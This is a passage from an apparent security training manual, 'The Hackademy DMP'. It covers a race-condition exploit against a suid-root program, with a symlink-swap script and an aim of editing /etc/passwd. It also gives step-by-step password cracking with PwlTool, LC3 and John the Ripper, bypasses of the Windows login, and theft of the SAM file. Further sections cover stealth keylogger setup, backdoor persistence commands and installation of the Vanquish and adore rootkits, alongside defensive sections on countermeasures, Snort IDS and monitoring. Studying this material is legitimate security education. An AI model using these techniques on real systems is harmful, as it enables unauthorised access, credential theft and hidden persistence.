this I mean a very short lapse <strong>of</strong> time) when “race conditions” have security implications. In fact, file<br />
system accesses are subject to course connect security states much more <strong>of</strong>ten than most people<br />
believe.<br />
In a constantly changing IT environment, where the multi-threading, multi-treating and distributed<br />
computing are all the rage, this type <strong>of</strong> problem can only become more frequent in the future.<br />
Definition<br />
A “race condition” happens when several processes have access to and manipulate the same<br />
information or data at the same time. To “keep it simple”, a “race condition” is encountered when an A<br />
application will use information that is going to be modified in a more or less synchronous way by a B<br />
application. We then have an abnormal functioning <strong>of</strong> applications due to the bad relative<br />
synchronization <strong>of</strong> events.<br />
“Race conditions” are <strong>of</strong>ten encountered on numerous applications: these are possible only in<br />
environments where multi-threads are found, that is where executed processes allow a certain<br />
interactivity or at least an asynchronous treatment <strong>of</strong> information, as can happen with Unix signals, for<br />
example.<br />
The <strong>Hack</strong>ademy DMP -159/209- SYSDREAM
Examples<br />
A typical example is the reading and writing <strong>of</strong> information.<br />
For example, if an application or a process writes while an another one reads at the same time, the<br />
data read can be:<br />
– Old values that have not been updated yet.<br />
– Or instead they can be new values (which in itself is not a problem).<br />
– Or worse, and this is <strong>of</strong>ten what happens, a mix <strong>of</strong> old and new information according to the<br />
synchronization <strong>of</strong> the writing and reading processes.<br />
In the same manner, we can note this kind <strong>of</strong> “anomaly” at the level <strong>of</strong> the variables used by a code.<br />
One's first impression could be to think that this is an application bug type problem, which is<br />
dangerous only for the integrity <strong>of</strong> information manipulated by this same application. But this type <strong>of</strong><br />
problem can lead to a different type <strong>of</strong> exploitation. The possibility <strong>of</strong> being able to exploit such a<br />
vulnerability depends directly on the synchronization phenomenon between the various accesses that<br />
are in fact at the level <strong>of</strong> an identical information. So if certain conditions are in place, a “race<br />
condition” can enable one to obtain the necessary privileges to access a protected system.<br />
In the same manner, let us take a slightly more complex, if unlikely, example:<br />
Let us take the IRC case, a most common example.<br />
A user A decides to create a canal called “race” on a server, at the same time as a user B decides to<br />
create a canal also called “race”, but on another server.<br />
These servers use the same network, knowing that the user who created the canal has the privileges<br />
<strong>of</strong> a canal operator, the server informs the network <strong>of</strong> the creation <strong>of</strong> each <strong>of</strong> these canals (in theory to<br />
prevent having two canals <strong>of</strong> the same name).<br />
Now let us imagine that these users decide to create their canals at the same moment; both <strong>of</strong> them<br />
will obtain the administration rights on their “race” canal since both servers will not yet be informed <strong>of</strong><br />
the creation <strong>of</strong> a same canal on another server.<br />
We find ourselves here in a case <strong>of</strong> shared resource, entirely due to the idea <strong>of</strong> the network's state<br />
each <strong>of</strong> the servers have.<br />
In fact, when a user creates a canal, the server gives administration rights <strong>of</strong> the canal and then<br />
informs the network's other servers <strong>of</strong> this canal's status.<br />
However if there is a certain latency in inter-server communication, the “race conditions” could be in<br />
place to create the case mentioned above, and this would give each user the possibility <strong>of</strong><br />
administrating the canal <strong>of</strong> the other user.<br />
B) Demonstration<br />
The attack<br />
Now that we know what a “race condition” is, we are going to take a closer look at the way this type <strong>of</strong><br />
problem can be exploited.<br />
The most interesting example is <strong>of</strong> course the one concerning a gain <strong>of</strong> privileges.<br />
For this, we are going to take a simple C program which writes a character chain in a file that is passed<br />
on to it as a parameter.<br />
The <strong>Hack</strong>ademy DMP -160/209- SYSDREAM
This program is “suidroot”, which means that whoever the user is, it is executed with the rights <strong>of</strong> the<br />
super-user.<br />
This program verifies the user's rights, so it goes without saying that to write in a file with “root” as<br />
owner user whose rights are -rw-r—r--, the executing user must also have super-user rights.<br />
The program functions in the following manner<br />
– The first instruction checks the user's rights, and if the user does not have the necessary rights,<br />
the execution stops and it is impossible to write in the file. If the user has the rights to this file, we<br />
then move on to the following instruction.<br />
– The program opens the file to write.<br />
– The program writes the character chain in the file.<br />
Now let us imagine that we create a file called “switch” ( as a non-privileged user) and a “target” file (as<br />
a super user).<br />
As a non privileged user, we have writing rights on the “switch” file but not on the “target” file.<br />
If we use the “race” program to write any chain <strong>of</strong> characters in the switch file, there will be no<br />
problems. However if we try to write in the “target” file, the program will refuse.<br />
So the idea is to modify “switch” between the verification <strong>of</strong> rights instruction and the opening <strong>of</strong> file<br />
instruction so that the “switch” file be replaced by a symbolic link on the “target” file; this way we can<br />
bypass the verification <strong>of</strong> rights (this verification <strong>of</strong> rights is done on the “switch” file, which in the<br />
meantime is replaced by a link on “target”) and so we can write in the “target” file, something that is<br />
normally forbidden.<br />
Example<br />
Instruction <strong>of</strong> cecking users rights<br />
Instruction <strong>of</strong> openung file<br />
Instruction <strong>of</strong> writting file<br />
Exploitation possibility<br />
The <strong>Hack</strong>ademy DMP -161/209- SYSDREAM
Exploiting this type <strong>of</strong> vulnerability is relatively difficult because <strong>of</strong> the vulnerability's punctuality. We will<br />
notice that here the modification <strong>of</strong> “switch” must be done exactly between the verification <strong>of</strong> rights<br />
instruction and the opening <strong>of</strong> file instruction.<br />
To manage this, we will use a shell script that transforms the “switch” file into a symbolic link on<br />
“target” over and over again so that at one point the replacement <strong>of</strong> the file by a link happens at the<br />
desired moment.<br />
The “race” program must likewise be started over and over again:<br />
$while true;do ./race ;done;<br />
Script shell<br />
#!/bin/sh<br />
while true<br />
do<br />
touch switch<br />
sleep 1<br />
ls -l switch target<br />
rm switch<br />
ln -s switch target<br />
sleep 1<br />
ls -l switch target<br />
rm switch<br />
done<br />
<strong>Pro</strong>gramme race.c<br />
#include <br />
#include <br />
#include <br />
#include <br />
#include <br />
#include <br />
int main(int ac, char *av[])<br />
{<br />
struct stat fstat;<br />
int fd;<br />
if( ac < 3 ){<br />
fprintf(stderr, "Usage : ./race \n");<br />
exit(2);<br />
}<br />
if( stat(av[1], &fstat) == -1 ){<br />
perror(NULL);<br />
exit(2);<br />
}<br />
//Verification <strong>of</strong> user's rights<br />
if( fstat.st_uid != getuid() ){<br />
fprintf(stderr, "Error : Permission refused\n");<br />
fprintf(stderr, "Uid file : %d\nUid User : %d\n", fstat.st_uid, getuid());<br />
exit(3);<br />
The <strong>Hack</strong>ademy DMP -162/209- SYSDREAM
}<br />
}<br />
printf("Opening <strong>of</strong> file authorized !\n");<br />
//Opening <strong>of</strong> file<br />
if( (fd = open(av[1], O_APPEND|O_WRONLY) ) == -1){<br />
perror(NULL);<br />
exit(4);<br />
}<br />
printf("Writing ....\n");<br />
//Writing in the file<br />
if( write(fd,av[2], strlen(av[2])) == -1 )<br />
perror(NULL);<br />
close(fd);<br />
The countermeasure<br />
The one countermeasure that immediately comes to mind for this type <strong>of</strong> attack is the locking <strong>of</strong> files,<br />
in other words to place a lock when an application has access to a file in order to prevent another<br />
application from having access to the same file.<br />
One might think <strong>of</strong> using semaphores as they can block access to data that will remain inaccessible<br />
until they are ready.<br />
A more complicated remedy could be to establish a diamond that would be the only one to be able to<br />
have access to the files; this diamond could not be bypassed during the opening <strong>of</strong> a file. When an<br />
application requests such an opening, it would ask this diamond that it effectively open the file and<br />
take care to note that the file is open, so that if another application were to ask for the opening <strong>of</strong> the<br />
same file, the diamond would refuse, the consequence being to refuse any competing opening <strong>of</strong> files.<br />
Finally, the countermeasure we suggest is a most simple one and it is also very efficient...<br />
All that has to be done actually is to modify the order <strong>of</strong> the instructions. So we will start by opening the<br />
file and we take good care to lock it to prevent any other actions on it. We then check the user's rights,<br />
and once that is done we take <strong>of</strong>f the security lock and then proceed to write in data.<br />
This way, we avoid encountering a problem <strong>of</strong> the “race condition” type.<br />
The <strong>Hack</strong>ademy DMP -163/209- SYSDREAM
So the succession <strong>of</strong> instructions is as follows:<br />
race2.c program:<br />
#include <br />
#include <br />
#include <br />
#include <br />
#include <br />
#include <br />
#include <br />
Opening file instruction<br />
File locking instruction<br />
Verifying rights instruction<br />
Unlocking file instruction<br />
Writting file instruction<br />
int main(int ac, char *av[])<br />
{<br />
struct stat fdstat;<br />
int fd;<br />
if( ac < 3 ){<br />
fprintf(stderr, "Usage : ./race \n");<br />
exit(2);<br />
}<br />
//Opening <strong>of</strong> file<br />
if( (fd = open(av[1], O_APPEND|O_WRONLY) ) == -1){<br />
perror(NULL);<br />
exit(4);<br />
}<br />
sleep(10);<br />
//Locking <strong>of</strong> file<br />
flock(fd, LOCK_EX);<br />
if( fstat(fd, &fdstat) == -1 ){<br />
perror(NULL);<br />
//Unlocking <strong>of</strong> file<br />
The <strong>Hack</strong>ademy DMP -164/209- SYSDREAM
}<br />
flock(fd, LOCK_UN);<br />
//Closing <strong>of</strong> file<br />
close(fd);<br />
exit(2);<br />
}<br />
//Verification <strong>of</strong> user's rights<br />
if( fdstat.st_uid != getuid() ){<br />
fprintf(stderr, "Error : Permission refused©e\n");<br />
fprintf(stderr, "Uid file : %d\nUid User : %d\n", fdstat.st_uid, getuid());<br />
//Unlocking <strong>of</strong> file<br />
flock(fd, LOCK_UN);<br />
//Closing <strong>of</strong> file<br />
close(fd);<br />
exit(3);<br />
}<br />
printf("Opening <strong>of</strong> file authorized !\n");<br />
printf("Writing ....\n");<br />
if( write(fd, av[2], strlen(av[2])) == -1 )<br />
perror(NULL);<br />
flock(fd, LOCK_UN);<br />
close(fd);<br />
The example presented here only serves to illustrate the principle <strong>of</strong> “race conditions” but it also gives<br />
a good idea <strong>of</strong> how to exploit this type <strong>of</strong> vulnerability. We are thinking in particular <strong>of</strong> the possibility <strong>of</strong><br />
adding a line in the file/etc/passwd or /etc/shadow file, and so creating an account with privilege rights.<br />
The <strong>Hack</strong>ademy DMP -165/209- SYSDREAM
CHAPTER VI<br />
SYSTEMS' VULNERABILITIES<br />
The <strong>Hack</strong>ademy DMP -166/209- SYSDREAM
1.Authentication Brute force<br />
In this section, we will talk about cracking password files for various OSs. Let us start by explaining the<br />
3 methods used by s<strong>of</strong>twares to crack password files.<br />
Dictionary attack<br />
This attack is the quickest one because it does a pass test using a dictionary file (this is a simple text<br />
file with one word per line, one after the other). To have an efficient dictionary, you must collect a<br />
maximum <strong>of</strong> information on the users <strong>of</strong> the target server. On the Internet, there are many already<br />
complete dictionaries, as well as generators.<br />
Brute force attack<br />
The idea is to try all the combinations possible following a certain number <strong>of</strong> characters. If the<br />
password to crack has several special characters, both numbers and letters, it will take longer to brute<br />
force than a pass made up <strong>of</strong> letters only. So a brute force attack always succeeds, it is only a<br />
question <strong>of</strong> time...<br />
Hybrid attack<br />
A hybrid attack is a mix <strong>of</strong> the 2 previous attacks. It uses a dictionary for the main part (e.g. crash) and<br />
brute force for the final part (e.g. fr), which enables it to find passwords such as “crashfr” or “crash24”,<br />
etc...<br />
A) .pwl files <strong>of</strong> Windows9x/ME<br />
Files with the .pwl extension have your Windows passwords, they are in the root directory<br />
(c:\windows). Of course, all .pwl files are encrypted, as you will be able to see if you try to open one<br />
with a text editor such as notepad, for example. These files can contain connection passwords, saving<br />
screens, sessions, ...<br />
To decrypt them, you must use s<strong>of</strong>tware such as Pwltool (http://s<strong>of</strong>t4you.com/vitas/pwltool.asp) that<br />
will take care <strong>of</strong> cracking the file and then display the passwords clearly.<br />
The <strong>Hack</strong>ademy DMP -167/209- SYSDREAM
To start an attack, you have to select the .pwl file by clicking on the “Browse” button, then try to click<br />
on “Glide” (this option only works for old PWL files on Windows95 and 3.11 and enables you to<br />
visualize all passwords without even knowing one login!)<br />
If ever “Glide” does not work, try “CheckPass”, and if the session pass is empty, you will be able to<br />
have access to all the others passwords in the file.<br />
Attack with dictionary<br />
Configurate a dictionary attack by clicking on the "Dictionary" tab.<br />
Brute orce attack<br />
Click on the "Brute force" tab.<br />
Then select the dictionary to use by<br />
clicking on”Browse”. To launch your<br />
attack, click on “SearchPasswordFast” or<br />
“SearchPassword”...<br />
The Password length parameter enables you to<br />
define the length <strong>of</strong> the password to force (the<br />
larger the range, the more the number <strong>of</strong><br />
combinations increases).<br />
Charset string indicates the characters to use during the brute force (you can include numbers as<br />
well as special characters such as “@”, for example).<br />
To launch the attack, click on SearchPasswordFast (this is quicker than “Search Password” because<br />
it does not use the API windows). If the attack does not succeed, click on “SearchPassword”.<br />
The <strong>Hack</strong>ademy DMP -168/209- SYSDREAM
Hybrid attack<br />
T launch a hybrid attack, all you have to do is go back to the dictionary tab and click on “Hybrid brute”:<br />
Bypassing the Win9x password<br />
When win9x is started and if passwords have been configurated to have access to the OS, it will ask<br />
you for identification using a login and password. We are going to see in this section the various<br />
technique to bypass this identification...<br />
1) Try to click on "Cancel", you should normally have access to the system.<br />
2) When starting your computer, click on “F8” to show the start menu (or try to boot from a start disk).<br />
Choose the MS-DOS mode. Now you are going to have to replace the .pwl files' extension by<br />
something else to prevent Windows from finding it: To do this, type in the following command:<br />
rename c:\windows\*.pwl *.xxx<br />
Restart Windows, type in any password and you will see Windows ask you to confirm the new<br />
password. This means that this new password that you type in will be directly earmarked to the<br />
selected user account (login).<br />
B) The Sam file <strong>of</strong> WINNT, WIN2k, Win 2003 et Win XP:<br />
The Sam file<br />
The Windows system has two encrypting vulnerabilities that can enable you to decrypt a Windows<br />
password file faster than Unix password file, for example:<br />
• One <strong>of</strong> these vulnerabilities comes from the LANmanager's hashing; it divides passwords into<br />
chains <strong>of</strong> 7 characters.<br />
• The other one comes from the absence <strong>of</strong> salt (a function making hashing different for 2 identical<br />
passwords). To be clear, if 2 users choose the same password, encrypting will be exactly the<br />
same, which makes the hacker's task easier.<br />
As in the case <strong>of</strong> win9x, there is s<strong>of</strong>tware that can crack user or administration passwords. On NT<br />
systems, passwords are saved in an encrypted SAM (<strong>Security</strong> Account Manager) file which can be<br />
found at c:\WINNT\system32\config\SAM. You cannot visualize or copy the SAM file when WINNT is<br />
running because it is locked by the core <strong>of</strong> the system.<br />
The <strong>Hack</strong>ademy DMP -169/209- SYSDREAM
How to obtain this file:<br />
1. When WINNT is installed, a copy <strong>of</strong> the password database (SAM file) is created in the<br />
c:\WINNT\repair directory. This copy only contains the passwords by default created during the set<br />
up, meaning only the administrator's password. When the administrator updates the repair disk, the<br />
SAM file is also updated (in this case, the SAM file contains all the accounts). So we could get the<br />
SAM file from the repair file, as this one is not locked by the core. If the repair file does not have the<br />
SAM file, there is still another way <strong>of</strong> obtaining it.<br />
2. The PC has to be booted from a start disk or from another operating system. This way, WINNT is<br />
not executed and so the SAM file is not locked. We can then copy the SAM file onto a disk and<br />
crack it later on.<br />
The Sam file is not the only medium that can allow you to find passwords on a network using NT.<br />
Let us take the L0phtCrack tool, which is the fastest and the most efficient to find NT passwords,<br />
because it does not only use the SAM file to have the password hashing, but also uses the encrypting<br />
vulnerabilities seen previously.<br />
You can find an LC3 evaluation version at: http://www.atstake.com/research/lc3/download.html.<br />
First <strong>of</strong> all, the assistant will ask<br />
you which method is used to<br />
recover the password hashing.<br />
(If the assistant is not<br />
automatically started, click on<br />
the magic wand, the 6 th icon<br />
from the left on the main<br />
interface).<br />
The <strong>Hack</strong>ademy DMP -170/209- SYSDREAM
LC3 <strong>of</strong>fers 4 methods.<br />
1. From the local machine<br />
To use this option, you must have<br />
Administrator status on the machine. This<br />
method will very quickly reveal the users'<br />
passwords.<br />
2. From a remote machine<br />
Here, you must also be Administrator, but<br />
this time round the password hashing will be<br />
recovered from a remote machine <strong>of</strong> your<br />
domain (you will need to specify the name <strong>of</strong><br />
the machine). This method does not work<br />
with a remote machine using syskey or<br />
Win2k.<br />
3. From NT 4.0 emergency repair disk<br />
This option will use the SAM file, the one found in c:\winnt\repair or saved on a disk (you will need to<br />
specify the SAM file to be used).<br />
4. By sniffing the local network<br />
LC3 also includes a sniffer to intercept the hashing <strong>of</strong> an NT network's machines used on the network.<br />
Then you will be asked which brute force method is to be used:<br />
Click on "Custom Options" to<br />
personalize the attack.<br />
LC uses the 3 forcing methods<br />
seen earlier on:<br />
1.dictionary attacks<br />
2.brute force attacks<br />
3.hybrid attacks<br />
The <strong>Hack</strong>ademy DMP -171/209- SYSDREAM
• The first slot is the dictionary attack (click on Browse to indicate the password file to be used).<br />
• The second one is the hybrid attack, which you can configure in the “File” --> “Preferences” menu<br />
on the main interface.<br />
• The last one is the brute force attack (“-” is used to specify a character range).<br />
The menu below allows you to choose the information to visualize during the cracking.<br />
1 st slot:<br />
Displays the passwords once they have been found;<br />
in some cases it can be useful not to have them<br />
displayed.<br />
2 nd slot:<br />
Displays the password hashing (the encrypted<br />
passwords).<br />
3 rd slot:<br />
Displays the length <strong>of</strong> time to crack each password.<br />
4 th slot:<br />
Displays a warning when the attack is over.<br />
The <strong>Hack</strong>ademy DMP -172/209- SYSDREAM
B) The Unix passwd file<br />
On Unix systems, the encrypting system is univalent. Files storing passwords are in most distributions<br />
in the “/etc/”” directory under the name “passwd”.<br />
In more recent versions <strong>of</strong> Unix, the passwd file has been divided into 2 files, because the passwd file<br />
on older versions could be read by anyone, enabling a user with no particular rights to obtain the<br />
stored passwords' hash.<br />
root:6Tgy1Gs.fTrfS:0:1:Admin:/:/sbin/sh<br />
john:K6fRti29nFrsY:1001:10::/usr/john:/bin/sh<br />
sophie:H74jGhhTDsE2i:1002:10::/usr/sophie:/bin/sh<br />
paul:fTqzOyHs88sfZ:1003:10::/usr/paul:/bin/sh<br />
The format is:<br />
login : pass : UID : GID : complete name : personal directory : shell<br />
Nowadays, all passwords are saved in a second file called shadow. The shadow file is only accessible<br />
if you have root status on the machine. Do note that the passwd file still enables the hacker to know<br />
what the system users' logins are, so as to create a dictionary.<br />
Now, on most Unix systems, passwords have been replaced by “x” in the passwd file:<br />
root:x:0:1:Admin:/:/sbin/sh<br />
john:x:1001:10::/usr/john:/bin/sh<br />
sophie:x:1002:10::/usr/sophie:/bin/sh<br />
paul:x:1003:10::/usr/paul:/bin/sh<br />
and in the shadow file:<br />
root:6Tgy1Gs.fTrfS:11604::::::<br />
john:K6fRti29nFrsY:::::::<br />
sophie:H74jGhhTDsE2i:::::::<br />
paul:fTqzOyHs88sfZ:::::::<br />
The format is:<br />
login : pass : date : min : max : warning : expiration : deactivation<br />
As for NT, there is s<strong>of</strong>tware that can crack Unix passwords.<br />
The <strong>Hack</strong>ademy DMP -173/209- SYSDREAM
Let us take for example John_The_Ripper, who also functions on Windows.<br />
(http://www.openwall.com/john/)<br />
Once the s<strong>of</strong>tware installed, type the following commands (in this example, the dictionary and passwd<br />
files are on a disk):<br />
john -test (to see if john is functioning correctly)<br />
john -single a:\passwd (john's quick method <strong>of</strong><br />
cracking a password)<br />
john -show a:\passwd (can visualize cracked<br />
passwords)<br />
john -w:a:\dico.txt a:\passwd (attack with dictionary)<br />
john -i a:\passwd (brute force attack)<br />
The <strong>Hack</strong>ademy DMP -174/209- SYSDREAM
C) Authentication service<br />
One <strong>of</strong> the ways <strong>of</strong> entering a server is to use cracking on an authentication service remotely<br />
accessible.<br />
To crack a site, you can use s<strong>of</strong>tware such as WebCrack which enables you to carry out a dictionary<br />
attack on a page using HTTP authentication.<br />
In “Target URL”, you must put the target URL you wish to crack. In our example, we try to crack<br />
various services, such as FTP, POP3, Telnet, SMB, etc...<br />
The options are roughly the same as for the previous s<strong>of</strong>tware:<br />
Service Options<br />
Connection Options<br />
Target : Target IP<br />
Type : Type <strong>of</strong> services (FTP,Telnet,etc...)<br />
Port : Target port<br />
Connections : Number <strong>of</strong> simultaneous<br />
connections<br />
Timeout : Timeout length <strong>of</strong> time<br />
<strong>Pro</strong>xy : To use a proxy (see further on in<br />
the course)<br />
Depending on the type <strong>of</strong> services selected, you will have various options in this section.<br />
Authentication Options<br />
Pass Mode : type <strong>of</strong> attack (dictionary, hybrid, brute force)<br />
The <strong>Hack</strong>ademy DMP -175/209- SYSDREAM
<strong>Security</strong><br />
There are a great number <strong>of</strong> s<strong>of</strong>twares able to crack any number <strong>of</strong> protected file (pwl, sam, zip,<br />
excel, word, etc...).<br />
• It is therefore important to always choose a password with a maximum <strong>of</strong> alphabetical<br />
characters, numbers and special characters (to increase to the maximum the amount <strong>of</strong> time<br />
that the hacker would take to find your password).<br />
• Change password as <strong>of</strong>ten as possible. The hacker won't have the time to crack your<br />
password if it changes all the time).<br />
• Use a BIOS password to have access to Setup and to the operating system and change the<br />
boot sequence to avoid having to boot from a disk.<br />
• Avoid asking Windows to save your passwords (Internet access, messaging, etc...)<br />
• For those who have never used a Firewall, install simple to use s<strong>of</strong>tware such as ZoneAlarm,<br />
as this will enable you to detect any intrusion on your machine and to block certain ports or<br />
protocols. You should also install an antivirus.<br />
• Update your operating system, as well as your s<strong>of</strong>tware, as <strong>of</strong>ten as possible.<br />
• Do not always use the same password for different identifications.<br />
• Always change the password by default <strong>of</strong> all the services installed on your machine.<br />
• Do not store any SAM files on its NT system, which is accessible to all.<br />
2.System spying<br />
Among the applications dedicated to information spying, keyloggers are the pro<strong>of</strong> that an efficient local<br />
surveillance <strong>of</strong> users is always possible. Invisible Keylogger (http://www.invisiblekeylogger.com) is one<br />
<strong>of</strong> these tools. Once the s<strong>of</strong>tware installed, an icon appears in the task bar.<br />
The <strong>Hack</strong>ademy DMP -176/209- SYSDREAM
The first thing to do is to create a password in order to limit the use <strong>of</strong> the s<strong>of</strong>tware to the one<br />
authorized person. This information will be used to authenticate the log reader. The s<strong>of</strong>tware's options<br />
can then make Keylogger invisible. They also <strong>of</strong>fer a measure <strong>of</strong> control on the following points:<br />
– Keylogger is stealth-like (this charges automatically when starting),<br />
– It discriminates on the applications to be spied on (all by default),<br />
– There is a delay between each screenshot (one every 10 minutes by default).<br />
The s<strong>of</strong>tware's logs then become consultable after entering the password.<br />
The <strong>Hack</strong>ademy DMP -177/209- SYSDREAM
Please note that if this keylogger remains invisible from the list <strong>of</strong> Windows processes, other tools<br />
dedicated to process monitoring will reveal it to a watchful eye. Please refer to our chapter on<br />
monitoring.<br />
3.Backdoors and rootkits<br />
A) Backdoor applicative<br />
This type <strong>of</strong> backdoor is generally uploaded on the system by the hacker once he has obtained<br />
access. On both Linux and Windows, it can be an applicative running as a server to bind a shell, or it<br />
can send back this access to the hacker with reverse connection methods. Following this principle, a<br />
simple netcat could do. Of course, the main problem for the hacker with this type <strong>of</strong> backdoor is that<br />
they are in no way discreet.<br />
To automatically launch a backdoor when starting the system, there are several possibilities:<br />
On Windows:<br />
➢ Installation in the start menu<br />
Each user's start menu is a directory accessible in the personal directory <strong>of</strong> each user, allowing him to<br />
start an applicative at the start <strong>of</strong> a system. All that has to be done is to copy any executable in order<br />
to have it automatically launched at boot.<br />
➢ The register base<br />
On Linux:<br />
➢ rcX.d files<br />
All services launched when the system is started are placed in the rc.init directory. They are started<br />
according to a specific runlevel, from 1 to 6. To be activated at the start, a symlink must be created in<br />
the rcX.d file corresponding to the proper runlevel.<br />
RUNLEVEL DETAIL<br />
0 System stopped<br />
1 Starting mono user<br />
2 Starting multi-user without network<br />
3 Starting multi-user with network<br />
4-5 Starting multi-user, Xwindow network<br />
6 Restarting<br />
To placer a backdoor on the system:<br />
#cp backdoor /etc/init.d/<br />
#cd /etc/rc3.d<br />
#ln -s /etc/init.d/rc3.d<br />
The <strong>Hack</strong>ademy DMP -178/209- SYSDREAM
B) Backdoor kernel<br />
Backdoor kernels are backdoors that integrate directly the system's core. The main advantage <strong>of</strong> this<br />
type <strong>of</strong> backdoor is that they remain very discreet, and are <strong>of</strong>ten very hard to detect. They are found<br />
on all operating systems:<br />
Windows<br />
Vanquish is a Windows backdoor kernel that, among other things, can:<br />
• Hide the services <strong>of</strong> the ongoing process list<br />
• Hide modules<br />
• Hide entries in the register base<br />
• Log logins and passwords<br />
• Prevent files from being deleted<br />
As you will have understood, when used with another applicative type backdoor, it becomes trivial for<br />
the hacker to hide his presence on the system, both at the ongoing process level and compared to<br />
some installed files, or to hide the automatic launching <strong>of</strong> the backdoor if it is in the run key <strong>of</strong> the<br />
register base.<br />
To launch the installation, start the command:<br />
c:\>vanquish do install<br />
To hide a file, a process or an entry in the register base, all that is needed is for its name to contain the<br />
character chain vanquish.<br />
A log file, as well as the passwords discovered by the rootkit, are all referenced in the c:\vanquish.log .<br />
file. Of course, this does not appear during a listing <strong>of</strong> the directory, because it contains the chain<br />
vanquish.<br />
Linux<br />
Linux kernel backdoors are called LKM (Loadable Kernel Module), and <strong>of</strong>ten look like modules to be<br />
loaded in memory. The best-known is probably adore. It has the capacity to become undetectable on<br />
the system. The adore lkm will first have to be loaded in memory, followed by another module<br />
(cleaner.o) whose role it will be to hide the presence <strong>of</strong> adore on the loaded modules list (Ismod<br />
command). adore.o modules will then be piloted thanks to the ava binary. Furthermore, during the<br />
compilation, a password will be asked for and it will be hardcoded into the ava as well as into the<br />
adore.o modules to prevent any other ava binary from communicating with adore.o, making its<br />
presence in memory very difficult to determine.<br />
First compile the lkm for the system:<br />
tar xzvf adore.xxx.tar.gz<br />
cd adore<br />
./configure<br />
make<br />
The <strong>Hack</strong>ademy DMP -179/209- SYSDREAM
You will have three newly compiled elements:<br />
adore.o<br />
cleaner.o<br />
ava<br />
Then load the modules in memory:<br />
insmod adore.o<br />
insmod cleaner.o<br />
rmmod cleaner<br />
If you display the list <strong>of</strong> loaded modules, you will notice that adore.o does not appear.<br />
You can direct the module thanks to ava. Here is the list <strong>of</strong> options:<br />
h hide the file<br />
u show the file<br />
r execute the command as a root<br />
R take <strong>of</strong>f PID indefinitely (to be used carefully)<br />
U deinstall adore<br />
i make PID invisible during the listing <strong>of</strong> ongoing processes<br />
(ps aux)<br />
v make PID visible<br />
The <strong>Hack</strong>ademy DMP -180/209- SYSDREAM
CHAPTER VII<br />
GENERIC SECURITY<br />
PROCEDURES<br />
The <strong>Hack</strong>ademy DMP -181/209- SYSDREAM
1.Intrusion detection systems<br />
Intrusion detection systems are probes that are placed on the network to listen to all transiting network<br />
frames. Their main functions are:<br />
– Detecting port scans.<br />
– Detecting applicative and web attacks, by comparing the contents <strong>of</strong> network fames to<br />
databases <strong>of</strong> attack signatures.<br />
The reference when it comes to intrusion detection today is SNORT, which <strong>of</strong>fers a large array <strong>of</strong><br />
possibilities. What's more, it can be used on both Linux and Windows.<br />
The first security rule to have when using an IDS is to not configure one's network card. It is put in<br />
promiscuous mode in order to examine all transiting frames, and in no way needs to be configured to<br />
communicate with other machines <strong>of</strong> the LAN. So, in case <strong>of</strong> intrusion, it is not possible for the hacker<br />
to try to attack this probe. That way you can be sure <strong>of</strong> having real results in case <strong>of</strong> a successful<br />
intrusion. Also, an IDS must be installed on a clean machine. As it is the only non-falsifiable source <strong>of</strong><br />
information, any other service could be a potential danger for the integrity <strong>of</strong> the system, and therefore<br />
<strong>of</strong> the results obtained.<br />
We are going to start by installing snort on a Linux system, with a mysql medium, and a log reading via<br />
a php interface called ACID.<br />
First download snort on www.snort.org, as well as the signature attack bases on<br />
http://www.snort.org/dl/signatures. You will also need to have an apache installed, as well as a mysql<br />
database.<br />
cd /usr/local/snort ... tar -xvzf SNORT-1.9.*.tar.gz<br />
./configure --with-mysql=/usr/lib/mysql<br />
make<br />
make install<br />
Then we install the detection rules.<br />
mkdir /etc/snort<br />
usr/local/snort*/etc/snort.conf /etc/snort<br />
cp snortrules.tar.gz /etc/snort<br />
cd /etc/snort<br />
tar -xvzf snortrules.tar.gz<br />
You can then edit the snort configuration file (/etc/snort/snort.conf), so as to specify the network that<br />
the IDS will listen to, for example:<br />
var HOME_NET [10.1.1.0/24]<br />
or<br />
var HOME_NET (10.1.1.0/24,192.168.1.0/24]<br />
The <strong>Hack</strong>ademy DMP -182/209- SYSDREAM
Configure snort so that it can store its results in the sql database. In the configuration file, add the rule:<br />
output database:log,mysql,user=user_snort password=snort_pwd dbname=snort host=localhost<br />
Then we can create the snort database.<br />
mysql<br />
>create database SNORT;<br />
>use mysql;<br />
>snort insert into user values('localhost', 'user_snort', password('snort_pwd'), 'Y', 'Y', 'Y', 'Y', 'Y', 'Y',<br />
'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', '', '', '', '', 'Y', 'Y', 'Y');<br />
>ALL PRIVILEGES ON SNORT.* TO user_snort@localhost IDENTIFIED BY 'snort_pwd' WITH<br />
GRANT OPTION;<br />
>flush privileges;<br />
>use snort;<br />
>Source create_mysql<br />
All that needs to be done now is to configure ACID so that it displays the snort results. You can<br />
download it at http://www.andrew.cmu.edu/user/rdanyliw/snort/snortacid.html. You will also need<br />
adodb http://php.weblogs.com/adodb, and PHPlot http://www.phplot.com.<br />
Then execute the following commands (make sure that /var/www is well and truly Apache's<br />
DocumentRoot):<br />
cd /var/www/<br />
tar -xvzf acid*<br />
tar -xvzf adodb*<br />
tar -xvzf phplot*<br />
Finally, in the /var/www/acid/acid_conf.php configuration file, fill in the following values:<br />
$DBlib_path="../adodb";<br />
$Chartlin_path="../phplot";<br />
alert_dbname="snort"<br />
alert_host="localhost"<br />
alert_user="user_snort"<br />
alert_password="snort_pwd"<br />
You will then be able to see the results <strong>of</strong> the logs on http://serv/acid/.<br />
The <strong>Hack</strong>ademy DMP -183/209- SYSDREAM
2.Monitoring on Windows<br />
Windows <strong>of</strong>fers no native monitoring tool <strong>of</strong> the system's activity that is really efficient. A company<br />
called Sysinternals has conceived free, light and efficient monitoring tools. We have chosen to present<br />
several <strong>of</strong> them.<br />
FileMon<br />
FileMon is a utility enabling to monitor in real time the process' access to files on the disk. The name <strong>of</strong><br />
the process, the type <strong>of</strong> request, the name <strong>of</strong> the concerned file and maybe the localization <strong>of</strong> data in<br />
the file are the informations sent back by FileMon.<br />
RegMon<br />
RegMon is a very useful tool, that enables you to monitor in real time the activity <strong>of</strong> the register base,<br />
by displaying, like FileMon, which process has access to which key in the base, and all this while<br />
specifying the type <strong>of</strong> request.<br />
The <strong>Hack</strong>ademy DMP -184/209- SYSDREAM
Pmon<br />
NT Pmon is a process monitoring tool: it sends back information on active execution threads on the<br />
system.<br />
3.Anti port scan<br />
The methodology presented here is valid only for Linux. We are going to use s<strong>of</strong>tware called portsentry<br />
to detect and block the source <strong>of</strong> a port scan. You can download it from:<br />
